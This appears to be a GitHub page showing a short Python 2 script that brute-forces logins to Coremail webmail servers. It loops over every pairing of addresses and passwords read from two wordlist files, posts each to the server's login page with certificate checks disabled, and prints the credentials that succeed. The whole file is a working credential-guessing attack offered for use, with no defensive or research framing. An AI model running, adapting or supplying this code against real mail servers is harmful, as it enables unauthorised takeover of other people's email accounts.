-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathfuckcormail.py
35 lines (29 loc) · 1.12 KB
/
fuckcormail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding = utf-8
from requests import request
import requests
import sys
import time
class ClmbFuckCoreMail():
def __init__(self, domain,email, password):
self.email = email
self.password = password
self.mailDomain = domain
def run(self):
self.session = requests.Session()
try:
self.data = {'local':'zh_CN', 'uid': self.email, 'nodetect':'false', 'password': self.password,'action:login': ''}
self.url = 'https://' + self.mailDomain + '/coremail/index.jsp?cus=1'
self.req = self.session.post(self.url,self.data, verify=False)
if r'cexpand' in self.req.text:
print self.data
time.sleep(10)
except requests.HTTPError as e:
print e
if __name__ == '__main__':
with open('email.txt', 'r') as f:
with open('password.txt', 'r') as p:
for emailUser in f.readlines():
for emailPass in p.readlines():
fuckMail = ClmbFuckCoreMail('mail.xxx.com.cn', emailUser.strip(), emailPass.strip())
fuckMail.run()
p.seek(0)